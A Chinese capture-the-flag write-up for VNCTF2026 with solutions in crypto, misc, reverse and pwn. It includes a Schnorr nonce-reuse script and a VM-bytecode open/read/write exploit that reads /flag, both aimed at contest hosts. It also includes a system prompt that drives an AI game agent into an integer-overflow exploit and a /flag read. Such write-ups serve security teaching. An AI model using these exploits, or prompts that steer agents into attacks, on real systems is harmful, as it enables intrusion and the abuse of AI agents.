VNCTF2026 WP by YHalo

今年VN的招新赛,这两天抽空参加了一下,虽然因为时间原因没能深入,部分题目也是借助 AI 辅助快速通过的,但过程中依然发现了不少设计精巧的亮点。题目很有意思,感谢主办方的用心,很幸运还拿了rk28

Crypto

math_rsa

简单的rsa签到

题目断言:(x2+1)(y2+1)2(xy)(xy1)=4(k+xy)(x^2+1)(y^2+1)-2(x-y)(xy-1)=4(k+xy)

把右边移过来,整理后这个式子其实可以完全因式分解为:(x+1)2(y1)2=4k(x+1)^2 (y-1)^2 = 4k

而脚本里又给了:x=φ1x=\varphi-1y=t+1y=t+1,且 t=2ut=2u

代入得到:

  • x+1=φx+1=\varphi
  • y1=t=2uy-1=t=2u

所以:φ2(2u)2=4k    φ2u2=k    (φu)2=k\varphi^2 (2u)^2 = 4k \;\Rightarrow\; \varphi^2 u^2 = k \;\Rightarrow\; (\varphi u)^2 = k

也就是说:k是一个完全平方数,并且k=φu\sqrt{k}=\varphi\cdot u

其中 uuu 是 16-bit 素数

计算 s=ks=\sqrt{k},然后枚举所有 16-bit 素数 uu,找满足 usu\mid s的那个即可:

  • 解出来唯一的 u=49531u = 49531
  • φ=s/u\varphi = s / u

RSA 有:φ=(p1)(q1)=n(p+q)+1p+q=nφ+1\varphi=(p-1)(q-1)=n-(p+q)+1 \Rightarrow p+q = n-\varphi+1

S=p+qS=p+q,则 p,qp,q是方程X2SX+n=0X^2-SX+n=0

的两根。判别式:Δ=S24n\Delta=S^2-4n

开方就能得到 p,qp,q

de1(modφ)d \equiv e^{-1}\pmod{\varphi}mcd(modn)m \equiv c^d \pmod{n}

转 bytes 即可

import math
from Crypto.Util.number import inverse, long_to_bytes
import sympy as sp

n = 14070754234209585800232634546325624819982185952673905053702891604674100339022883248944477908133810472748877029408864634701590339742452010000798957135872412483891523031580735317558166390805963001389999673532396972009696089072742463405543527845901369617515343242940788986578427709036923957774197805224415531570285914497828532354144069019482248200179658346673726866641476722431602154777272137461817946690611413973565446874772983684785869431957078489177937408583077761820157276339873500082526060431619271198751378603409721518832711634990892781578484012381667814631979944383411800101335129369193315802989383955827098934489
e = 65537
c = 12312807681090775663449755503116041117407837995529562718510452391461356192258329776159493018768087453289696353524051692157990247921285844615014418841030154700106173452384129940303909074742769886414052488853604191654590458187680183616318236293852380899979151260836670423218871805674446000309373481725774969422672736229527525591328471860345983778028010745586148340546463680818388894336222353977838015397994043740268968888435671821802946193800752173055888706754526261663215087248329005557071106096518012133237897251421810710854712833248875972001538173403966229724632452895508035768462851571544231619079557987628227178358

k = 485723311775451084490131424696603828503121391558424003875128327297219030209620409301965720801386755451211861235029553063690749071961769290228672699730274712790110328643361418488523850331864608239660637323505924467595552293954200495174815985511827027913668477355984099228100469167128884236364008368230807336455721259701674165150959031166621381089213574626382643770012299575625039962530813909883594225301664728207560469046767485067146540498028505317113631970909809355823386324477936590351860786770580377775431764048693195017557432320430650328751116174124989038139756718362090105378540643587230129563930454260456320785629555493541609065309679709263733546183441765688806201058755252368942465271917663774868678682736973621371451440269201543952580232165981094719134791956854961433894740133317928275468758142862373593473875148862015695758191730229010960894713851228770656646728682145295722403096813082295018446712479920173040974429645523244575300611492359684052455691388127306813958610152185716611576776736342210195290674162667807163446158064125000445084485749597675094544031166691527647433823855652513968545236726519051559119550903995500324781631036492013723999955841701455597918532359171203698303815049834141108746893552928431581707889710001424400

s = math.isqrt(k)
assert s * s == k

u = None
for p in sp.primerange(2**15, 2**16):
    if s % p == 0:
        u = p
        break
assert u is not None

phi = s // u

S = n - phi + 1
D = S*S - 4*n
r = math.isqrt(D)
assert r*r == D
p = (S + r) // 2
q = (S - r) // 2
assert p*q == n
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

VNCTF{hell0_rsa_w0rld!}

Schnorr

这题表面是 Schnorr 交互式证明,但脚本把“随机数”做成了固定种子 init_seed 的确定性生成器(而且每次程序启动都会从 counter=0 开始),导致同一轮的 nonce bb在不同连接/不同进程里会复用,从而直接把 secret(也就是 flag 对应的 aa)算出来

每一轮协议里(脚本):承诺:B=gbmodpB = g^b \bmod p,你给挑战:xx

它回响应:  zxa+b(modp1)\;z \equiv x\cdot a + b \pmod{p-1}

如果你重新连一次服务(服务重启脚本/新建 prover),因为 RNG 从同一个 init_seed 开始,生成参数 p,g,Ap,g,A 的过程也固定,所以第一轮的 b 也固定,于是两次会话第一轮会出现相同的 BB

拿到两次会话第一轮的:z1x1a+b(modp1)z_1 \equiv x_1 a + b \pmod{p-1}z2x2a+b(modp1)z_2 \equiv x_2 a + b \pmod{p-1}

相减消掉 bbz2z1(x2x1)a(modp1)z_2 – z_1 \equiv (x_2-x_1)a \pmod{p-1}

最舒服的选法:第一次发 x1=1,第二次发 x2=2,则:z2z1a(modp1)z_2 – z_1 \equiv a \pmod{p-1}

直接得到 aa

最后脚本里 a=bytes_to_long(flag)mod(p1)a = \text{bytes\_to\_long(flag)} \bmod (p-1),flag 一般远小于 512-bit 的 pp,所以通常 bytes_to_long(flag)<p1\text{bytes\_to\_long(flag)} < p-1,解出来的 aa直接 long_to_bytes 就是 flag

exp

from pwn import remote
import re
from Crypto.Util.number import long_to_bytes

HOST = "114.66.24.228"
PORT = 34020

def recv_int(io, name):
    # 匹配形如: "p = 123..." 或 "B = 456..."
    data = io.recvuntil(b"\n", drop=False)
    while name.encode() not in data:
        data = io.recvuntil(b"\n", drop=False)
    m = re.search(rb"%s\s*=\s*([0-9]+)" % name.encode(), data)
    if not m:
        # 这一行没抓到就继续读
        return recv_int(io, name)
    return int(m.group(1))

def one_session(x_value):
    io = remote(HOST, PORT)

    # 读 public 参数
    p = recv_int(io, "p")
    g = recv_int(io, "g")
    A = recv_int(io, "A")

    # 第一轮 commitment
    B = recv_int(io, "B")

    # 发送 challenge x
    io.recvuntil(b"x =")
    io.sendline(str(x_value).encode())

    # 读响应 z
    z = recv_int(io, "z")

    # 不继续下一轮
    io.recvuntil(b"(y/n):")
    io.sendline(b"n")
    io.close()

    return p, g, A, B, z

# Session 1: x=1
p1, g1, A1, B1, z1 = one_session(1)

# Session 2: x=2
p2, g2, A2, B2, z2 = one_session(2)

assert p1 == p2 and g1 == g2 and A1 == A2, "参数不一致:服务可能每次都换 seed/换实例"
assert B1 == B2, "B 不相同:nonce 没复用,需换思路(见下方)"

a = (z2 - z1) % (p1 - 1)
flag_bytes = long_to_bytes(a)

print(flag_bytes)
try:
    print(flag_bytes.decode())
except:
    pass

VNCTF{56d71f2b-1b71-45e1-a916-272de0cb2339}

Misc

ez_iot

模拟iot

题目给了两个文件:capture.raw(监听模式抓到的原始无线数据)和 bin(门锁固件)。目标是从“冰箱↔扫地机器人”的通信里把 flag 拿出来

wyh@WYH1412:/mnt/c/Users/WYH/Desktop/VNCTF2026/eziot$ file bin
bin: ELF 32-bit LSB executable, Tensilica Xtensa, version 1 (SYSV), statically linked, with debug_info, not stripped

capture.raw

直接算长度能发现一个很关键的点:它能整除一个固定帧长。

raw = open("capture.raw","rb").read()
len(raw)

实际长度是 391607,而 391607 / 263 = 1489,刚好整数,所以:

capture.raw = 1489 个 263 字节的定长帧拼接

把第一帧前几个字节打印一下(或用你习惯的十六进制工具看)会看到:

d0 00:802.11 Management / Action(常见于厂商私有通信)

帧里还有 0xddVendor Specific IE

Vendor IE 里出现 OUI:18 fe 34(Espressif)

这就基本锁定:这是 ESP-NOW 用 Action 帧广播数据的典型形态(ESP-NOW 在 Wi-Fi 层用 Vendor IE 搬运 payload)。在每个 263 字节帧里,Vendor IE 的结构是:

0xdd 1字节(Element ID)

len 1字节

len 字节的内容

最后通常还有 4 字节 FCS(很多抓法会带着)

实测:

0xdd 出现在偏移 32,len = 225,225 字节内容正好到帧末尾前 4 字节

也就是说每帧的 ESPNOW 相关数据基本都在这里:

ie = frame[34 : 34+225]

并且每帧 IE 开头 6 字节都固定:

18 fe 34 04 02 c7

既然是“设备在偷偷通信”,通常会加密。最省事的路线就是在固件里找 key

用符号表很快能看到一个叫 AES_KEY 的东西(这题 bin 没脱符号):

readelf -s bin | grep -i AES_KEY

能看到 AES_KEY 是一个 16 bytes 的对象(AES-128 的长度)。

接下来把这 16 字节 dump 出来即可(方法很多,最直接的是按符号地址算文件偏移,或者直接在 IDA/Ghidra 里点进去看 rodata)。这题 AES_KEY 对应的内容是 ASCII:

uV9vG6mZ7mS8eC8b

所以 key 就是:

KEY = b"uV9vG6mZ7mS8eC8b"

观察 IE 的字段变化,会发现:

IE 的 第 9~10 字节是一个 16-bit 小端计数,按帧递增,且会从 748 回到 0(循环)

这明显是“分片编号/包序号”,非常适合用来重组

继续对齐长度,会发现 IE 里可以自然切成:

17 字节头,208 字节“加密块”

208 = 16 + 192,刚好像:

16 字节 IV,192 字节密文(12 * 16,对齐 AES block)

所以每帧解密逻辑是:

frag_id = int.from_bytes(ie[9:11],'little')

enc = ie[17:17+208]

iv = enc[:16]

ct = enc[16:]

pt = AES-128-CBC(KEY, iv).decrypt(ct)

每帧产出 192 字节明文

把所有帧的明文拼起来后,能在某个位置看到 PNG 文件头(\x89PNG\r\n\x1a\n),说明方向完全正确

frag_id 看递增会发现中间有一次跳号,

这就解释了为什么直接拼出来的 PNG 解码会坏:少了 192 字节,后面整体错位。

但这题的坑不在“真丢了就没救”,而在于:设备会重复发同一份内容,我们的抓包其实包含了多轮发送。

判断“多轮发送”的依据就是 frag_id 会回卷:

会看到 ... 748 -> 0 的回卷出现不止一次

说明抓到的是“从某轮中间开始 + 一整轮 + 下一轮的前半段”

这题实际就是:

run0:552..748(残尾)

run1:0..748(几乎完整,但缺 543)

run2:0..543(残头,刚好包含缺的 543)

所以修复策略非常直接:

以 run1 作为主数据

run1 缺的 frag_id=543 用 run2 的同编号补上

然后按 frag_id=0..748 顺序拼接,就能恢复完整 PNG

解密脚本

from Crypto.Cipher import AES

KEY = b"uV9vG6mZ7mS8eC8b"
FRAME_LEN = 263
TARGET_MAX = 748

raw = open("capture.raw", "rb").read()
frames = [raw[i * FRAME_LEN:(i + 1) * FRAME_LEN] for i in range(len(raw) // FRAME_LEN)]

def extract_espressif_ie(frame: bytes):
    i = 0
    while True:
        off = frame.find(b"\xdd", i)
        if off == -1 or off + 2 > len(frame):
            return None
        ln = frame[off + 1]
        start = off + 2
        end = start + ln
        if end <= len(frame):
            ie = frame[start:end]
            if len(ie) >= 6 and ie[:3] == b"\x18\xfe\x34":
                return ie
        i = off + 1

def decrypt_ie(ie: bytes):
    frag_id = int.from_bytes(ie[9:11], "little")
    enc = ie[17:17 + 208]
    if len(enc) != 208:
        return None
    iv, ct = enc[:16], enc[16:]
    if len(ct) % 16 != 0:
        return None
    pt = AES.new(KEY, AES.MODE_CBC, iv).decrypt(ct)
    return frag_id, pt

runs = []
cur = []
last = None

for f in frames:
    ie = extract_espressif_ie(f)
    if not ie:
        continue
    dec = decrypt_ie(ie)
    if not dec:
        continue
    frag, pt = dec
    if last is not None and frag < last:
        runs.append(cur)
        cur = []
    cur.append((frag, pt))
    last = frag
if cur:
    runs.append(cur)

maps = [{i: p for i, p in r} for r in runs]
maps.sort(key=lambda m: (-(len(m)), min(m.keys(), default=10**9)))

best = None
for m in maps:
    if 0 in m and max(m.keys()) >= TARGET_MAX:
        best = m.copy()
        break
if best is None:
    best = maps[0].copy()

missing = [i for i in range(TARGET_MAX + 1) if i not in best]

if missing:
    for m in maps:
        for x in missing[:]:
            if x in m:
                best[x] = m[x]
                missing.remove(x)
        if not missing:
            break

if missing:
    raise RuntimeError("still missing fragments: " + ",".join(map(str, missing)))

blob = b"".join(best[i] for i in range(TARGET_MAX + 1))
open("recovered.png", "wb").write(blob)
print("ok -> recovered.png")

恢复的png

VNCTF{espn0w_1z_s000_coolll!!!}

MyMnemonic

有意思的题目

拿到图片后先做最基础的检查:PNG 在正常 IEND 结束后还有额外数据。把 IEND 后面的内容切出来,发现又是一张完整的 PNG

这张隐藏 PNG 是 160×120 的黑白块图,观察可知每个块是 10×10,所以实际是 16×12 的矩阵,也就是 192 个 bit

按行从左到右读取方块:黑=1,白=0,得到 192-bit entropy。将其转成 hex:

17ae1edd3a85ca7bb6809c361d9b0ed42deeb613b1e075f4

连上容器看看

发现是一个作者自己的BIP39系统

写了 wordlist:2048,说明它走的是 “11-bit 一个词” 的 BIP39 思路,所以 192 bit 对应 18 个词(ENT=192)

把 entropy 按作者系统的逻辑切成 18 个 0~2047 的序号(每 11 bit 一组),得到:

189 903 1466 936 741 494 1744 156 432 1894 1565 1346 1783 728 630 480 943 1323

在左侧用“序号→字”查询即可映射为 18 个汉字助记词:

纳 百 福 财 源 似 水 而 至 走 大 运 事 业 如 日 中 天

放到右侧校验结果正确

按标准 BIP39 的 seed 派生方式计算(PBKDF2-HMAC-SHA512,迭代 2048,salt=”mnemonic”+passphrase,题目未给 passphrase,默认空),用上面的助记词作为 mnemonic,得到 seed(64 字节 hex,长度 128):

7243a5d4e66d0a6f1d5d51d0ea287f185741a78d864cd3778c101fe0367244f5de33f0c567fe2ed90fbe8181cf8a0957e921bb562300f1d4a51c740bb8b79669

把这串 hex 直接填到“提交答案”里即可拿到 flag

VNCTF{eV3RY_Ie08fa76bca75cc80I6l7s_DEf1n3_a_W0Rd}

Reverse

ez_maze

求迷宫最短路径

明显的壳保护

用x64dbg看看内存布局

得到关键信息:模块基址 00007FF7ABDE0000.text 起始 00007FF7ABDE1000

.text 起始 00007FF7ABDE1000下断点看下(硬件断点,不然断不到)

执行到断点看下字符串引用:

能看到这些说明程序到这里已经自解壳了

双击correct! your flag is VNCTF{%s}处的地址跳转过去

上下文把汇编分析下

mov r15d, 0
mov r12d, 0
mov rbp, 0
mov r14, 0
mov rdi, 0
mov rsi, 0

这几组就是起点坐标和索引初始化(起点 (0,0))

w/a/s/d 分支已经看到了

边界检查:

cmp rsi,13 / cmp rdi,13ja 就直接失败
说明坐标范围是 0..19(0x13)

当前位置索引:

lea rax, [r14+rbp]
这就是 idx = y*20 + x(因为 r14 始终是 y*20,rbp 是 x)

撞墙检查:

cmp dword ptr [rcx + rax*4 + 260], 1

je ABDE1B01(失败分支)
说明迷宫数组从 this+0x260 开始,元素是 dword,值 1=墙,0=路
这里的 rcx 来自上一行 mov rcx, [rsp+20],而 [rsp+20] 在函数开头保存的就是 thismov [rsp+20], rcx),所以 rcx 就是对象基址。

终点判定:

cmp ebx,13(x==19)

cmp r15d, ebx(y==x)
结合上面就是 y==19,所以终点是 (19,19)

接下来把迷宫dump出来用BFS算法就行了

cmp dword ptr [rcx+rax*4+260], 1这里下硬件断点,看寄存器窗口里的 RCX,然后跳转到rcx+260,就是迷宫数组起点

把这段20*20的迷宫数组二进制dump下来保存为bin文件

然后用BFS算法解就行

脚本

import struct
from collections import deque

W = H = 20
data = open("maze.bin", "rb").read()
vals = [x[0] for x in struct.iter_unpack("<I", data)]
assert len(vals) == W * H

def ok(x, y):
    return 0 <= x < W and 0 <= y < H and vals[y*W + x] == 0

start = (0, 0)
goal = (19, 19)

# 按程序里的逻辑:a x+1, d x-1, w y+1, s y-1
dirs = [('a', 1, 0), ('d', -1, 0), ('w', 0, 1), ('s', 0, -1)]

q = deque([start])
pre = {start: None}
pre_move = {}

while q:
    x, y = q.popleft()
    if (x, y) == goal:
        break
    for ch, dx, dy in dirs:
        nx, ny = x + dx, y + dy
        if (nx, ny) not in pre and ok(nx, ny):
            pre[(nx, ny)] = (x, y)
            pre_move[(nx, ny)] = ch
            q.append((nx, ny))

# 还原路径
if goal not in pre:
    print("no path")
else:
    path = []
    cur = goal
    while cur != start:
        path.append(pre_move[cur])
        cur = pre[cur]
    path.reverse()
    print("".join(path))

解出得到最短路径wwaaaaaaaawwwwddwwddwwaaaawwaaaaaassssaawwwwaawwwwwwwa

VNCTF{wwaaaaaaaawwwwddwwddwwaaaawwaaaaaassssaawwwwaawwwwwwwa}

Pwn

vm-syscall

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled

这题是个很小的自定义 VM,要受限任意 syscall

程序先读入一段固定长度的字节码(0x200),然后用一个解释器循环执行

解释器内部

看下syscall的汇编会发现问题

把 syscall 的第 4/5/6 参数寄存器通道清零了,也就是题目说的少了些什么东西,所以我最多稳定传 3 个参数

0x48的VM Context地方满了,我需要申请新的内存空间

mmap 的标准调用是控制好6个参数,这题不适合,

brk就很合适,照样可以申请内存,也只需要控制1个参数

申请内存,把flag路径字符串写进这块内存,再用系统调用完成ORW就行

真正 payload 就是一段 VM 字节码,完成:
brk(0) 拿旧堆顶 → brk(old+0x3000) 扩堆 → read(0, old, 0x20) 读入路径 /flag\x00open(old,0,0)read(fd, old+0x100, 0x200)write(1, old+0x100, n)exit(0)

EXP

from pwn import *
import sys

def imm_bytes_be(x: int) -> bytes:
    # VM 立即数读取方式:imm = (imm<<8) | byte (大端拼)
    assert 0 <= x <= 0xffffffff
    if x == 0:
        return b"\x00"
    b = x.to_bytes(4, "big").lstrip(b"\x00")
    return b

def op_mov(dst, src):                  # choice=1, opcode=0x10 : R[dst]=R[src]
    return bytes([1, dst & 0xff, src & 0xff, 0x10])

def op_alu_imm(dst, src, imm, opcode): # choice=2, (dst,src,len,imm...), then opcode
    b = imm_bytes_be(imm)
    return bytes([2, dst & 0xff, src & 0xff, len(b)]) + b + bytes([opcode & 0xff])

def op_alu_reg(dst, s1, s2, opcode):   # choice=3, (dst,s1,s2), then opcode
    return bytes([3, dst & 0xff, s1 & 0xff, s2 & 0xff, opcode & 0xff])

def op_syscall():                      # choice=4
    return b"\x04"

def clear_reg(r):                      # xor r,r  => 0
    return op_alu_reg(r, r, r, 0x70)   # opcode 0x70 = XOR

def set_reg_u32(r, val):
    out = clear_reg(r)
    if val:
        out += op_alu_imm(r, r, val, 0x10)  # opcode 0x10 = ADD
    return out

def build_vm_prog():
    code = b""

    # brk(0): R0=12; R1=0
    code += set_reg_u32(0, 12)
    code += op_syscall()  # R0 = old_brk

    # 保存 old_brk 到 R1 / R2
    code += op_mov(1, 0)  # R1=old_brk
    code += op_mov(2, 0)  # R2=old_brk (作为“文件名缓冲区基址”)

    # brk(old+0x3000): R1 += 0x3000; R0=12; syscall
    code += op_alu_imm(1, 1, 0x3000, 0x10)
    code += set_reg_u32(0, 12)
    code += op_syscall()
    
    code += clear_reg(0)          # R0=0
    code += clear_reg(1)          # R1=0
    code += set_reg_u32(3, 0x20)  # R3=0x20
    code += op_syscall()

    code += op_mov(1, 2)      # R1=path_ptr (old_brk)
    code += clear_reg(2)      # flags=0
    code += clear_reg(3)      # mode=0
    code += set_reg_u32(0, 2) # SYS_open=2
    code += op_syscall()      # R0=fd

    code += op_mov(2, 1)                  # R2=old_brk
    code += op_alu_imm(2, 2, 0x100, 0x10) # R2 += 0x100
    code += op_mov(1, 0)          # R1=fd
    code += set_reg_u32(3, 0x200) # R3=count
    code += clear_reg(0)          # R0=SYS_read=0
    code += op_syscall()          # R0=nread

    code += op_mov(3, 0)          # R3=nread
    code += set_reg_u32(0, 1)     # SYS_write=1
    code += set_reg_u32(1, 1)     # fd=1
    code += op_syscall()

    code += set_reg_u32(0, 60)    # SYS_exit=60
    code += clear_reg(1)          # status=0
    code += op_syscall()

    return code

def main():
    host = "114.66.24.228"
    port = 32074
    path = b"/flag\x00"

    log.info("Compiling VM logic...")
    code = build_vm_prog()
    
    vm_instructions = code.ljust(0x200, b"\xff")
    runtime_input = path.ljust(0x20, b"\x00") 
    full_payload = vm_instructions + runtime_input

    try:
        r = remote(host, port)
        
        log.info(f"Sending payload ({len(full_payload)} bytes)...")
        r.send(full_payload)
        
        log.info("Receiving response...")
        # Try to receive everything until timeout
        try:
            print(r.recvall(timeout=5).decode('utf-8', errors='ignore'))
        except Exception:
            pass
            
        r.close()
    except Exception as e:
        log.error(f"Error: {e}")

if __name__ == "__main__":
    main()

VNCTF{4af3c3e7-c242-440a-901e-b2669285d766}

eat some AI

个人最喜欢的题目

本质是黑盒模糊测试+提示词引导,让AI 一步步执行到达漏洞触发点

题目包含两个服务端口:

Game Port (TCP): 文本版的黑夜君临

Web Port (HTTP): 一个 AI Agent 控制台,可以输入 System Prompt 让 AI 自动玩游戏

连接 Game Port 测试发现:

游戏共 10 轮,每轮战斗胜利获得 1500 积分。

通关需要 1,000,000 积分。正常全胜只能获得 20,000 积分。

在游戏中期,流浪商人随机出现。

出售道具,单价 3000 积分

用户可以输入购买数量。

这里存在整数溢出,游戏使用 32位有符号整数 存储和计算数值。

漏洞点:购买数量如果超过最大值,会产生溢出变回负数

最大正整数:2,147,483,647

我们需要一个数量,使得 总价 溢出成为一个 负数
这样系统执行 扣除积分 时,实际上会 增加积分

目标:购买 1431000 个。
1431000×3000 = 4,293,000,000
对于 32 位有符号整数,这相当于:
4,293,000,000 – 4,294,967,296 = -1,967,296

结果:总花费为 -1,967,296
购买后玩家积分增加约 197 万,满足 > 100 万的目标,且不会再次溢出导致变成负分

将上述逻辑编写成 Prompt,填入 Web 控制台,启动 AI Agent。

等待 AI 运行到第 6 轮左右遇到商人。

AI 输入 1431000,积分暴涨

下一轮战斗胜利并存档后,积分结算超过 100 万,Flag 自动输出

AI System Prompt

You are an expert gamer playing 'Night Reign'.
Your goal is to obtain the Flag by getting over 1,000,000 points.
Follow these steps exactly:

1. Start the game and play through the rounds naturally.
2. Always choose to 'Fight' (input '战斗') when asked "Start Battle?".
3. Pay attention to the text. When you see: "Shadow figure appears..." and the [Wandering Merchant] offers to sell items.
4. He will ask: "How many do you want to buy?".
5. You MUST input exactly this number: 1431000
6. This quantity triggers a precise integer overflow where the cost becomes approx -1,967,296.
7. You will GAIN ~1.9 million points, reaching the target without crashing the score counter.
8. After buying, continue to 'Fight' the next battle to save your high score.
9. Once the round is over and score is saved, you should have the flag.
10.看到输出"你已达完全掌握黑夜卢恩的力量。"就尝试读到/flag
Go!

VNCTF{Ni9Ht_re1Gn_MA5TEr_99gg_4a7a85b4-5d04-4765-921d-529861b0de76}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇